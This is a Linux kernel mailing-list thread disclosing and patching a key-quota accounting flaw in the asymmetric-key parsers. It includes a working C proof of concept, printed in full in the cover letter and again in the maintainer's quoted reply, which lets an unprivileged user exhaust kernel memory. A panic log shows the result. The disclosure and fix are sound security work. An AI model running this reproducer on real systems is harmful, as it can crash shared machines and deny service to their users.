* [PATCH 0/1] KEYS: Account for asymmetric key payload data in the quota
@ 2026-09-19 8:45 Yuqi Xu
2026-09-19 8:45 ` [PATCH 1/1] " Yuqi Xu
2026-09-25 16:12 ` [PATCH 0/1] " Ignat Korchagin
0 siblings, 2 replies; 4+ messages in thread
From: Yuqi Xu @ 2026-09-19 8:45 UTC (permalink / raw)
To: linux-crypto
Cc: David Howells, Lukas Wunner, Ignat Korchagin, Herbert Xu,
David S . Miller, keyrings, stable, Vega, Ren Wei, xuyq21
Hi Linux kernel maintainers,
We found and validated an issue in
crypto/asymmetric_keys/pkcs8_parser.c. The bug is reachable by a
non-root user through add_key("asymmetric", ...); it does not require a
user or network namespace. We've tested the fix and it should not
affect other functionality.
We will provide detailed information about the bug in this email, along
with a reproducer.
---- details below ----
Bug details:
add_key("asymmetric", ...) preparses the supplied blob with the
registered asymmetric key parsers and then instantiates the key with
generic_key_instantiate(), which charges prep->quotalen to the owning
user's key quota through key_payload_reserve().
pkcs8_parse() ASN.1-decodes the outer PKCS#8 structure and duplicates
the attacker-controlled PrivateKey OCTET STRING with
kmemdup(ctx.key, ctx.key_size, GFP_KERNEL) into pub->key.
pkcs8_key_preparse() then stores that object persistently in the
asymmetric-key payload, but hard-codes
prep->quotalen = 100;
so the quota records only 100 bytes regardless of the retained private
key size. The ASN.1 decoder accepts blobs up to 65535 bytes, so one key
can pin about 64 KiB of kernel memory while consuming 100 quota bytes.
With the default non-root limits (200 keys / 20000 bytes) a user can
retain roughly 12 MiB of kernel memory instead of the 20 KiB the limit
is meant to allow.
x509_key_preparse() has the same problem: it keeps the parsed public
key, its parameters, the signature, the key IDs and the authority key
IDs, but also charges a fixed 100 bytes. The same add_key() call
reaches the X.509 parser, so fixing only PKCS#8 would leave the bypass
reachable; the patch accounts
for the retained payload in both parsers.
Measured on v7.3-rc1 (10396a2d6d41), 2 vCPU / 2 GiB QEMU guest. The
test drops to uid 1000 and adds PKCS#8 keys with a 65000-byte
PrivateKey field through add_key("asymmetric", ...):
Before the patch (/proc/key-users, uid 1000):
1000: 5 5/5 5/200 259/20000
added 176 keys; last add_key: -1 errno=122 (Disk quota exceeded)
1000: 182 182/181 181/200 19971/20000
176 keys retained about 11.4 MiB of kernel memory, but were charged only
19971 - 259 = 19712 bytes in total, about 112 bytes per key.
After the patch:
1000: 5 5/5 5/200 1139/20000
added 0 keys; last add_key: -1 errno=122 (Disk quota exceeded)
The oversized key is rejected immediately, while a small PKCS#8 key
(200-byte PrivateKey) still loads and is charged 264 bytes.
The same holds for a small X.509 certificate whose only large object is
a 26000-byte authorityKeyIdentifier key ID: the patch rejects it, while
the unpatched kernel accepted it and charged 109 bytes.
The panic log below was captured by the report during the initial
validation.
Reproducer:
gcc -O2 -static -o poc poc.c
./poc
Run the PoC as an unprivileged user; no namespace is needed. We run it
in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <errno.h>
#include <inttypes.h>
#include <linux/keyctl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
typedef int32_t key_serial_t;
struct options {
size_t payload_size;
size_t key_count;
size_t anon_mb;
unsigned pause_secs;
bool revoke_on_exit;
};
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [--payload-size BYTES] [--key-count N] [--anon-mb MB]\n"
" [--pause SECS] [--revoke-on-exit]\n",
prog);
}
static size_t der_len_bytes(size_t len)
{
size_t n = 0;
if (len < 0x80)
return 1;
while (len) {
n++;
len >>= 8;
}
return 1 + n;
}
static size_t der_put_len(unsigned char *dst, size_t len)
{
size_t n = 0;
size_t tmp = len;
if (len < 0x80) {
dst[0] = (unsigned char)len;
return 1;
}
while (tmp) {
n++;
tmp >>= 8;
}
dst[0] = 0x80 | n;
for (size_t i = 0; i < n; i++)
dst[1 + i] = (unsigned char)(len >> ((n - 1 - i) * 8));
return 1 + n;
}
static unsigned char *build_pkcs8(size_t payload_size, size_t *blob_len_out)
{
static const unsigned char algo_id[] = {
0x30, 0x0d,
0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x01,
0x05, 0x00,
};
const size_t octet_total = 1 + der_len_bytes(payload_size) + payload_size;
const size_t seq_content_len = 3 + sizeof(algo_id) + octet_total;
const size_t blob_len = 1 + der_len_bytes(seq_content_len) + seq_content_len;
unsigned char *blob;
unsigned char *p;
blob = malloc(blob_len);
if (!blob)
return NULL;
p = blob;
*p++ = 0x30;
p += der_put_len(p, seq_content_len);
*p++ = 0x02;
*p++ = 0x01;
*p++ = 0x00;
memcpy(p, algo_id, sizeof(algo_id));
p += sizeof(algo_id);
*p++ = 0x04;
p += der_put_len(p, payload_size);
for (size_t i = 0; i < payload_size; i++)
p[i] = (unsigned char)(i * 131u + 7u);
p += payload_size;
if ((size_t)(p - blob) != blob_len) {
fprintf(stderr, "internal length mismatch: %zu != %zu\n",
(size_t)(p - blob), blob_len);
free(blob);
return NULL;
}
*blob_len_out = blob_len;
return blob;
}
static long add_key_syscall(const char *type, const char *desc,
const void *payload, size_t plen,
key_serial_t ringid)
{
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}
static long keyctl_syscall(int cmd, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)
{
return syscall(SYS_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static void *spray_anon(size_t anon_mb)
{
const size_t bytes = anon_mb * 1024ULL * 1024ULL;
const long page_size = sysconf(_SC_PAGESIZE);
unsigned char *mapping;
if (!anon_mb)
return NULL;
mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (mapping == MAP_FAILED) {
perror("mmap anon");
return NULL;
}
for (size_t off = 0; off < bytes; off += (size_t)page_size)
mapping[off] = (unsigned char)(off / (size_t)page_size);
printf("[*] touched %zu MiB of anonymous memory\n", anon_mb);
fflush(stdout);
return mapping;
}
static unsigned long parse_u64(const char *name, const char *value)
{
char *end = NULL;
unsigned long long out;
errno = 0;
out = strtoull(value, &end, 0);
if (errno || !end || *end) {
fprintf(stderr, "bad value for %s: %s\n", name, value);
exit(1);
}
return (unsigned long)out;
}
int main(int argc, char **argv)
{
struct options opt = {
.payload_size = 65000,
.key_count = 178,
.anon_mb = 700,
.pause_secs = 0,
.revoke_on_exit = false,
};
unsigned char *blob = NULL;
size_t blob_len = 0;
key_serial_t *serials = NULL;
void *anon_mapping = NULL;
size_t added = 0;
char ring_name[64];
int ret = 0;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--payload-size") && i + 1 < argc) {
opt.payload_size = parse_u64("--payload-size", argv[++i]);
} else if (!strcmp(argv[i], "--key-count") && i + 1 < argc) {
opt.key_count = parse_u64("--key-count", argv[++i]);
} else if (!strcmp(argv[i], "--anon-mb") && i + 1 < argc) {
opt.anon_mb = parse_u64("--anon-mb", argv[++i]);
} else if (!strcmp(argv[i], "--pause") && i + 1 < argc) {
opt.pause_secs = parse_u64("--pause", argv[++i]);
} else if (!strcmp(argv[i], "--revoke-on-exit")) {
opt.revoke_on_exit = true;
} else {
usage(argv[0]);
return 1;
}
}
if (opt.payload_size > (1024U * 1024U - 128U)) {
fprintf(stderr, "payload too large for add_key limit\n");
return 1;
}
blob = build_pkcs8(opt.payload_size, &blob_len);
if (!blob) {
perror("build_pkcs8");
return 1;
}
serials = calloc(opt.key_count, sizeof(*serials));
if (!serials) {
perror("calloc serials");
free(blob);
return 1;
}
snprintf(ring_name, sizeof(ring_name), "pkcs8-n6q-%ld", (long)getpid());
if (keyctl_syscall(KEYCTL_JOIN_SESSION_KEYRING,
(unsigned long)ring_name, 0, 0, 0) < 0) {
perror("keyctl join_session_keyring");
ret = 1;
goto out;
}
printf("[*] payload_size=%zu blob_len=%zu key_count=%zu anon_mb=%zu\n",
opt.payload_size, blob_len, opt.key_count, opt.anon_mb);
fflush(stdout);
anon_mapping = spray_anon(opt.anon_mb);
if (opt.anon_mb && !anon_mapping) {
ret = 1;
goto out;
}
for (size_t i = 0; i < opt.key_count; i++) {
char desc[32];
long serial;
snprintf(desc, sizeof(desc), "k%06zu", i);
serial = add_key_syscall("asymmetric", desc, blob, blob_len,
KEY_SPEC_SESSION_KEYRING);
if (serial < 0) {
fprintf(stderr,
"[!] add_key failed after %zu keys: errno=%d (%s)\n",
added, errno, strerror(errno));
ret = 1;
goto out;
}
serials[added++] = (key_serial_t)serial;
if ((added % 10) == 0 || added == 1) {
printf("[+] added %zu keys, last serial=%ld\n",
added, serial);
fflush(stdout);
}
}
printf("[+] completed %zu successful add_key calls\n", added);
fflush(stdout);
if (opt.pause_secs) {
printf("[*] sleeping for %u seconds\n", opt.pause_secs);
fflush(stdout);
sleep(opt.pause_secs);
}
out:
if (opt.revoke_on_exit) {
for (size_t i = 0; i < added; i++)
keyctl_syscall(KEYCTL_REVOKE, serials[i], 0, 0, 0);
}
if (anon_mapping)
munmap(anon_mapping, opt.anon_mb * 1024ULL * 1024ULL);
free(serials);
free(blob);
return ret;
}
------END poc.c--------
----BEGIN crash log----
[ 291.603731][T10195] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 291.604425][T10195] CPU: 1 UID: 1028 PID: 10195 Comm: poc Not tainted 6.12.74 #3
[ 291.604946][T10195] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 291.605646][T10195] Call Trace:
[ 291.605889][T10195] <TASK>
[ 291.606112][T10195] dump_stack_lvl+0x3b/0x1f0
[ 291.606466][T10195] panic+0x6fe/0x7e0
[ 291.606767][T10195] ? dump_header+0x6c2/0x950
[ 291.607117][T10195] ? __pfx_panic+0x10/0x10
[ 291.607458][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.607883][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.608335][T10195] ? out_of_memory+0x8c5/0x16b0
[ 291.608714][T10195] out_of_memory+0x8f3/0x16b0
[ 291.609092][T10195] ? __pfx_out_of_memory+0x10/0x10
[ 291.609483][T10195] ? lock_acquire+0x2f/0xb0
[ 291.609824][T10195] ? __alloc_pages_noprof+0xd59/0x26d0
[ 291.610258][T10195] __alloc_pages_noprof+0x1ec3/0x26d0
[ 291.610688][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.611102][T10195] ? hlock_class+0x4e/0x130
[ 291.611463][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.611885][T10195] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 291.612350][T10195] ? __pfx___lock_acquire+0x10/0x10
[ 291.612755][T10195] ? __sanitizer_cov_trace_switch+0x54/0x90
[ 291.613198][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.613615][T10195] ? policy_nodemask+0xf2/0x4f0
[ 291.613993][T10195] alloc_pages_mpol_noprof+0x2ce/0x610
[ 291.614417][T10195] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 291.614859][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.615294][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.615709][T10195] ? xas_load+0x49/0x5b0
[ 291.616038][T10195] ? filemap_get_entry+0xd5/0x3c0
[ 291.616444][T10195] folio_alloc_noprof+0x23/0xd0
[ 291.616820][T10195] filemap_alloc_folio_noprof+0x35d/0x420
[ 291.617244][T10195] ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
[ 291.617694][T10195] ? filemap_fault+0x631/0x2800
[ 291.618086][T10195] __filemap_get_folio+0x53e/0xaf0
[ 291.618499][T10195] filemap_fault+0x675/0x2800
[ 291.618878][T10195] ? __pfx_filemap_fault+0x10/0x10
[ 291.619284][T10195] ? do_pte_missing+0x165a/0x3ff0
[ 291.619662][T10195] ? __pfx_lock_release+0x10/0x10
[ 291.620055][T10195] ? __pfx_filemap_map_pages+0x10/0x10
[ 291.620471][T10195] __do_fault+0x10f/0x4a0
[ 291.620800][T10195] ? __pfx_filemap_map_pages+0x10/0x10
[ 291.621210][T10195] do_pte_missing+0x174c/0x3ff0
[ 291.621585][T10195] ? srso_alias_return_thunk+0x5/0xfbef5
[ 291.622002][T10195] ? reacquire_held_locks+0x20b/0x4c0
[ 291.622399][T10195] ? lock_vma_under_rcu+0x143/0x980
[ 291.622797][T10195] __handle_mm_fault+0xfa3/0x2a10
[ 291.623201][T10195] ? __pfx_lock_release+0x10/0x10
[ 291.623574][T10195] ? down_read_trylock+0x1f0/0x3f0
[ 291.623959][T10195] ? __pfx___handle_mm_fault+0x10/0x10
[ 291.624373][T10195] ? __pfx_down_read_trylock+0x10/0x10
[ 291.624818][T10195] ? __pfx_lock_vma_under_rcu+0x10/0x10
[ 291.625252][T10195] handle_mm_fault+0x3f5/0xa00
[ 291.625639][T10195] do_user_addr_fault+0x50a/0x1490
[ 291.626067][T10195] exc_page_fault+0x5d/0xe0
[ 291.626421][T10195] asm_exc_page_fault+0x26/0x30
[ 291.626781][T10195] RIP: 0033:0x7f7f7505e080
[ 291.627107][T10195] Code: Unable to access opcode bytes at 0x7f7f7505e056.
[ 291.627583][T10195] RSP: 002b:00007ffc585a1b08 EFLAGS: 00010202
[ 291.628015][T10195] RAX: 00007ffc585a2120 RBX: 00007ffc585a2040 RCX: 0000000000000002
[ 291.628553][T10195] RDX: 00007ffc585a2100 RSI: 0000000000000025 RDI: 0000560a6a8580a7
[ 291.629082][T10195] RBP: 00007ffc585a2210 R08: 00007ffc585a2230 R09: 0000000000000058
[ 291.629623][T10195] R10: 00007ffc585a2210 R11: 0000000000000246 R12: 0000560a6bf4d2a0
[ 291.630161][T10195] R13: 0000560a6bf5d0b0 R14: 00007ffc585a2100 R15: 0000560a6a8580a7
[ 291.630738][T10195] </TASK>
[ 291.631265][T10195] Kernel Offset: disabled
[ 291.631642][T10195] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Yuqi Xu
Yuqi Xu (1):
KEYS: Account for asymmetric key payload data in the quota
crypto/asymmetric_keys/pkcs8_parser.c | 2 +-
crypto/asymmetric_keys/x509_public_key.c | 23 ++++++++++++++++++++++-
2 files changed, 23 insertions(+), 2 deletions(-)
base-commit: 10396a2d6d41d594975b6ece712278570c3c970c
--
2.55.0
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH 1/1] KEYS: Account for asymmetric key payload data in the quota
2026-09-19 8:45 [PATCH 0/1] KEYS: Account for asymmetric key payload data in the quota Yuqi Xu
@ 2026-09-19 8:45 ` Yuqi Xu
2026-09-20 7:35 ` Yuqi Xu
2026-09-25 16:12 ` [PATCH 0/1] " Ignat Korchagin
1 sibling, 1 reply; 4+ messages in thread
From: Yuqi Xu @ 2026-09-19 8:45 UTC (permalink / raw)
To: linux-crypto
Cc: David Howells, Lukas Wunner, Ignat Korchagin, Herbert Xu,
David S . Miller, keyrings, stable, Vega, Ren Wei, xuyq21
pkcs8_key_preparse() copies the attacker-supplied PrivateKey OCTET
STRING into the persistent asymmetric-key payload, and
x509_key_preparse() retains the public key, its parameters, the
signature and the authority key IDs. Both charge a fixed 100 bytes to
the owning user's key quota, so the retained memory is not accounted
for. With the default 20000-byte non-root quota, a user can pin
roughly 11 MiB of kernel memory by adding PKCS#8 keys.
Charge the size of the retained payload instead. An oversized PKCS#8
key now fails with -EDQUOT instead of being accepted for 100 bytes,
and the same applies to an X.509 certificate that retains an oversized
public key or set of authority key IDs.
Fixes: 3c58b2362ba8 ("KEYS: Implement PKCS#8 RSA Private Key parser [ver #2]")
Fixes: c26fd69fa009 ("X.509: Add a crypto key parser for binary (DER) X.509 certificates")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Reviewed-by: Ren Wei <weir@nebusec.ai>
---
crypto/asymmetric_keys/pkcs8_parser.c | 2 +-
crypto/asymmetric_keys/x509_public_key.c | 23 ++++++++++++++++++++++-
2 files changed, 23 insertions(+), 2 deletions(-)
diff --git a/crypto/asymmetric_keys/pkcs8_parser.c b/crypto/asymmetric_keys/pkcs8_parser.c
index 9dd1c181789a..fa8b142a8e14 100644
--- a/crypto/asymmetric_keys/pkcs8_parser.c
+++ b/crypto/asymmetric_keys/pkcs8_parser.c
@@ -150,7 +150,7 @@ static int pkcs8_key_preparse(struct key_preparsed_payload *prep)
prep->payload.data[asym_key_ids] = NULL;
prep->payload.data[asym_crypto] = pub;
prep->payload.data[asym_auth] = NULL;
- prep->quotalen = 100;
+ prep->quotalen = sizeof(*pub) + pub->keylen;
return 0;
}
diff --git a/crypto/asymmetric_keys/x509_public_key.c b/crypto/asymmetric_keys/x509_public_key.c
index 25cf8ac7f257..f2bdd0244262 100644
--- a/crypto/asymmetric_keys/x509_public_key.c
+++ b/crypto/asymmetric_keys/x509_public_key.c
@@ -163,9 +163,11 @@ static int x509_key_preparse(struct key_preparsed_payload *prep)
{
struct x509_certificate *cert __free(x509_free_certificate) = NULL;
struct asymmetric_key_ids *kids __free(kfree) = NULL;
+ struct asymmetric_key_id *id;
char *p, *desc __free(kfree) = NULL;
const char *q;
size_t srlen, sulen;
+ int i;
cert = x509_cert_parse(prep->data, prep->datalen);
if (IS_ERR(cert))
@@ -228,7 +230,26 @@ static int x509_key_preparse(struct key_preparsed_payload *prep)
prep->payload.data[asym_crypto] = cert->pub;
prep->payload.data[asym_auth] = cert->sig;
prep->description = desc;
- prep->quotalen = 100;
+
+ /* Charge the memory retained in the payload, not a fixed estimate */
+ prep->quotalen = sizeof(*cert->pub) + cert->pub->keylen +
+ cert->pub->paramlen;
+ if (cert->sig) {
+ prep->quotalen += sizeof(*cert->sig) + cert->sig->s_size;
+ if (cert->sig->m_free)
+ prep->quotalen += cert->sig->m_size;
+ for (i = 0; i < ARRAY_SIZE(cert->sig->auth_ids); i++) {
+ id = cert->sig->auth_ids[i];
+ if (id)
+ prep->quotalen += sizeof(*id) + id->len;
+ }
+ }
+ prep->quotalen += sizeof(*kids);
+ for (i = 0; i < ARRAY_SIZE(kids->id); i++) {
+ id = kids->id[i];
+ if (id)
+ prep->quotalen += sizeof(*id) + id->len;
+ }
/* We've finished with the certificate */
cert->pub = NULL;
--
2.55.0
^ permalink raw reply related [flat|nested] 4+ messages in thread* Re: [PATCH 1/1] KEYS: Account for asymmetric key payload data in the quota
2026-09-19 8:45 ` [PATCH 1/1] " Yuqi Xu
@ 2026-09-20 7:35 ` Yuqi Xu
0 siblings, 0 replies; 4+ messages in thread
From: Yuqi Xu @ 2026-09-20 7:35 UTC (permalink / raw)
To: linux-crypto
Cc: David Howells, Lukas Wunner, Ignat Korchagin, Herbert Xu,
David S. Miller, keyrings, stable, Vega, Ren Wei, xuyq21
Hi all,
Thanks for the review.
Sashiko reported the following findings on the patchset page; they have
not been posted to lore. I looked at both against the tree; the
mechanism they describe is real, but it is not reachable by an
unprivileged user with the default quota, and the root case is not a
privilege boundary. Details inline below.
The tree is crypto-2.6.git master at 10396a2d6d41; line numbers below are
for that revision plus this patch.
> 1) Does this code overflow key->quotalen if pub->keylen is large? While
> prep->quotalen is a size_t, the internal key->quotalen field is an
> unsigned short with a 16-bit limit of 65,535 bytes. If a user adds an
> oversized asymmetric key and the quota capacity check passes (for
> example, for the root user, or if kernel.keys.maxbytes is raised),
> key->quotalen will silently overflow and truncate the length. When the
> key is later destroyed in key_put(), user->qnbytes is decremented by the
> truncated amount, permanently leaking the remainder.
The types are as stated: key->quotalen is unsigned short
(include/linux/key.h:216), prep->quotalen is size_t
(include/linux/key-type.h:37), and key_payload_reserve() computes
"int delta = (int)datalen - key->datalen" and then does
"key->quotalen += delta" (security/keys/key.c:376 and :396), so a charge
above USHRT_MAX would indeed truncate. So the truncation is mechanically
correct.
It is not reachable by an unprivileged user, though. key_payload_reserve()
checks the quota and returns -EDQUOT (key.c:392) *before* it touches
key->quotalen:
security/keys/key.c:389
if (delta > 0 &&
(key->user->qnbytes + delta > maxbytes || ...))
ret = -EDQUOT;
else {
key->user->qnbytes += delta;
key->quotalen += delta;
}
For a non-root user maxbytes is key_quota_maxbytes = 20000
(security/keys/key.c:29). The reserved amount for a single key cannot
exceed that: key_alloc() already charged desclen + 1 + def_datalen and set
key->quotalen to it (key.c:248, :272, :292), and the key_payload_reserve()
delta is bounded by the remaining quota (maxbytes - qnbytes). After a
successful reserve the key's share of qnbytes is desclen + 1 +
prep->quotalen and it equals key->quotalen, so it is <= 20000 < USHRT_MAX.
The overflow value can never be committed; add_key() just fails with
-EDQUOT first. In our testing, userspace sees errno 122 (EDQUOT) from
add_key() of a roughly 65000-byte PKCS#8 key, with no charge ever recorded
above 20000.
The root / raised-maxbytes case is also not a security boundary:
- /proc/sys/kernel/keys/maxbytes is mode 0644 (security/keys/sysctl.c:26),
i.e. only root can raise it, so "if maxbytes is raised" is itself a
privileged action; root is not the boundary we are protecting.
- Root does not need to raise that sysctl to pass the quota check.
key_payload_reserve() selects maxbytes with
uid_eq(key->user->uid, GLOBAL_ROOT_UID) (key.c:383), so the global
root already uses key_quota_root_maxbytes = 25000000 (key.c:27).
A user-namespace root is not GLOBAL_ROOT_UID and still uses
key_quota_maxbytes = 20000.
- asn1_ber_decoder() rejects a DER blob with datalen > 65535
(lib/asn1_decoder.c:197, -EMSGSIZE), so a single key cannot grow
without bound. sizeof(*pub) + keylen can still exceed USHRT_MAX
for a large but legal blob, so root (or a raised maxbytes) can hit
the truncation.
- The direction of the error is an over-charge, not a bypass. qnbytes is
credited with the full delta but debited with the truncated quotalen at
key_put() (key.c:659), so the remainder simply stays charged against the
same user, who hits EDQUOT sooner. It cannot let anyone retain more than
the accounted quota, and it does not weaken the check that protects
unprivileged users.
> 2) Can this dynamically calculated payload size also overflow the 16-bit
> limit of key->quotalen?
Same reasoning for the X.509 side. The new expression is a sum over the
objects the payload actually retains (public key, parameters, signature,
authority key IDs and key IDs), and each is bounded by the same 65535-byte
DER limit. For a non-root key the whole sum must satisfy the 20000-byte
quota check before key->quotalen is updated, so it cannot exceed USHRT_MAX
either. As above, only root (or a root raising the sysctl) can get a single
key's charge past 65535, and the result is a self-inflicted quota
over-charge rather than any kind of bypass.
So we don't see a security issue here and would keep v1 as is.
That said, if you would prefer the byte accounting to stay self-consistent
even for root or a raised maxbytes, it could be handled by a small separate
hardening, e.g. having key_payload_reserve() reject a reservation larger
than USHRT_MAX (or widening key->quotalen to unsigned int). I left that out
of this patch on purpose: it changes core quota semantics beyond the
reported bug and is not needed to close the unprivileged quota-accounting
bypass this series fixes. Happy to send it as a follow-up if the
maintainers want it.
Thanks,
Yuqi Xu
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH 0/1] KEYS: Account for asymmetric key payload data in the quota
2026-09-19 8:45 [PATCH 0/1] KEYS: Account for asymmetric key payload data in the quota Yuqi Xu
2026-09-19 8:45 ` [PATCH 1/1] " Yuqi Xu
@ 2026-09-25 16:12 ` Ignat Korchagin
1 sibling, 0 replies; 4+ messages in thread
From: Ignat Korchagin @ 2026-09-25 16:12 UTC (permalink / raw)
To: Yuqi Xu
Cc: linux-crypto, David Howells, Lukas Wunner, Herbert Xu,
David S . Miller, keyrings, stable, Vega, Ren Wei, xuyq21
On Sat, Sep 19, 2026 at 9:46 AM Yuqi Xu <xuyuqiabc@gmail.com> wrote:
>
> Hi Linux kernel maintainers,
>
> We found and validated an issue in
> crypto/asymmetric_keys/pkcs8_parser.c. The bug is reachable by a
> non-root user through add_key("asymmetric", ...); it does not require a
> user or network namespace. We've tested the fix and it should not
> affect other functionality.
>
> We will provide detailed information about the bug in this email, along
> with a reproducer.
>
> ---- details below ----
>
> Bug details:
I feel these details are important and should actually go into the
commit message. Since you have only 1 patch there is no need for cover
letter (which will not end up in git anyway). Can you combine this and
the commit message in the actual patch into 1 patch and send it
without the cover letter?
> add_key("asymmetric", ...) preparses the supplied blob with the
> registered asymmetric key parsers and then instantiates the key with
> generic_key_instantiate(), which charges prep->quotalen to the owning
> user's key quota through key_payload_reserve().
>
> pkcs8_parse() ASN.1-decodes the outer PKCS#8 structure and duplicates
> the attacker-controlled PrivateKey OCTET STRING with
> kmemdup(ctx.key, ctx.key_size, GFP_KERNEL) into pub->key.
> pkcs8_key_preparse() then stores that object persistently in the
> asymmetric-key payload, but hard-codes
>
> prep->quotalen = 100;
>
> so the quota records only 100 bytes regardless of the retained private
> key size. The ASN.1 decoder accepts blobs up to 65535 bytes, so one key
> can pin about 64 KiB of kernel memory while consuming 100 quota bytes.
> With the default non-root limits (200 keys / 20000 bytes) a user can
> retain roughly 12 MiB of kernel memory instead of the 20 KiB the limit
> is meant to allow.
>
> x509_key_preparse() has the same problem: it keeps the parsed public
> key, its parameters, the signature, the key IDs and the authority key
> IDs, but also charges a fixed 100 bytes. The same add_key() call
> reaches the X.509 parser, so fixing only PKCS#8 would leave the bypass
> reachable; the patch accounts
> for the retained payload in both parsers.
>
> Measured on v7.3-rc1 (10396a2d6d41), 2 vCPU / 2 GiB QEMU guest. The
> test drops to uid 1000 and adds PKCS#8 keys with a 65000-byte
> PrivateKey field through add_key("asymmetric", ...):
>
> Before the patch (/proc/key-users, uid 1000):
> 1000: 5 5/5 5/200 259/20000
> added 176 keys; last add_key: -1 errno=122 (Disk quota exceeded)
> 1000: 182 182/181 181/200 19971/20000
> 176 keys retained about 11.4 MiB of kernel memory, but were charged only
> 19971 - 259 = 19712 bytes in total, about 112 bytes per key.
>
> After the patch:
> 1000: 5 5/5 5/200 1139/20000
> added 0 keys; last add_key: -1 errno=122 (Disk quota exceeded)
> The oversized key is rejected immediately, while a small PKCS#8 key
> (200-byte PrivateKey) still loads and is charged 264 bytes.
>
> The same holds for a small X.509 certificate whose only large object is
> a 26000-byte authorityKeyIdentifier key ID: the patch rejects it, while
> the unpatched kernel accepted it and charged 109 bytes.
>
> The panic log below was captured by the report during the initial
> validation.
>
> Reproducer:
>
> gcc -O2 -static -o poc poc.c
> ./poc
>
> Run the PoC as an unprivileged user; no namespace is needed. We run it
> in a 2 vCPU, 2 GB RAM x86 QEMU environment.
>
> ------BEGIN poc.c------
>
> #define _GNU_SOURCE
>
> #include <errno.h>
> #include <inttypes.h>
> #include <linux/keyctl.h>
> #include <stdbool.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/mman.h>
> #include <sys/syscall.h>
> #include <sys/types.h>
> #include <time.h>
> #include <unistd.h>
>
> typedef int32_t key_serial_t;
>
> struct options {
> size_t payload_size;
> size_t key_count;
> size_t anon_mb;
> unsigned pause_secs;
> bool revoke_on_exit;
> };
>
> static void usage(const char *prog)
> {
> fprintf(stderr,
> "Usage: %s [--payload-size BYTES] [--key-count N] [--anon-mb MB]\n"
> " [--pause SECS] [--revoke-on-exit]\n",
> prog);
> }
>
> static size_t der_len_bytes(size_t len)
> {
> size_t n = 0;
>
> if (len < 0x80)
> return 1;
>
> while (len) {
> n++;
> len >>= 8;
> }
>
> return 1 + n;
> }
>
> static size_t der_put_len(unsigned char *dst, size_t len)
> {
> size_t n = 0;
> size_t tmp = len;
>
> if (len < 0x80) {
> dst[0] = (unsigned char)len;
> return 1;
> }
>
> while (tmp) {
> n++;
> tmp >>= 8;
> }
>
> dst[0] = 0x80 | n;
> for (size_t i = 0; i < n; i++)
> dst[1 + i] = (unsigned char)(len >> ((n - 1 - i) * 8));
>
> return 1 + n;
> }
>
> static unsigned char *build_pkcs8(size_t payload_size, size_t *blob_len_out)
> {
> static const unsigned char algo_id[] = {
> 0x30, 0x0d,
> 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
> 0x0d, 0x01, 0x01, 0x01,
> 0x05, 0x00,
> };
> const size_t octet_total = 1 + der_len_bytes(payload_size) + payload_size;
> const size_t seq_content_len = 3 + sizeof(algo_id) + octet_total;
> const size_t blob_len = 1 + der_len_bytes(seq_content_len) + seq_content_len;
> unsigned char *blob;
> unsigned char *p;
>
> blob = malloc(blob_len);
> if (!blob)
> return NULL;
>
> p = blob;
> *p++ = 0x30;
> p += der_put_len(p, seq_content_len);
>
> *p++ = 0x02;
> *p++ = 0x01;
> *p++ = 0x00;
>
> memcpy(p, algo_id, sizeof(algo_id));
> p += sizeof(algo_id);
>
> *p++ = 0x04;
> p += der_put_len(p, payload_size);
>
> for (size_t i = 0; i < payload_size; i++)
> p[i] = (unsigned char)(i * 131u + 7u);
> p += payload_size;
>
> if ((size_t)(p - blob) != blob_len) {
> fprintf(stderr, "internal length mismatch: %zu != %zu\n",
> (size_t)(p - blob), blob_len);
> free(blob);
> return NULL;
> }
>
> *blob_len_out = blob_len;
> return blob;
> }
>
> static long add_key_syscall(const char *type, const char *desc,
> const void *payload, size_t plen,
> key_serial_t ringid)
> {
> return syscall(SYS_add_key, type, desc, payload, plen, ringid);
> }
>
> static long keyctl_syscall(int cmd, unsigned long arg2, unsigned long arg3,
> unsigned long arg4, unsigned long arg5)
> {
> return syscall(SYS_keyctl, cmd, arg2, arg3, arg4, arg5);
> }
>
> static void *spray_anon(size_t anon_mb)
> {
> const size_t bytes = anon_mb * 1024ULL * 1024ULL;
> const long page_size = sysconf(_SC_PAGESIZE);
> unsigned char *mapping;
>
> if (!anon_mb)
> return NULL;
>
> mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE,
> MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
> if (mapping == MAP_FAILED) {
> perror("mmap anon");
> return NULL;
> }
>
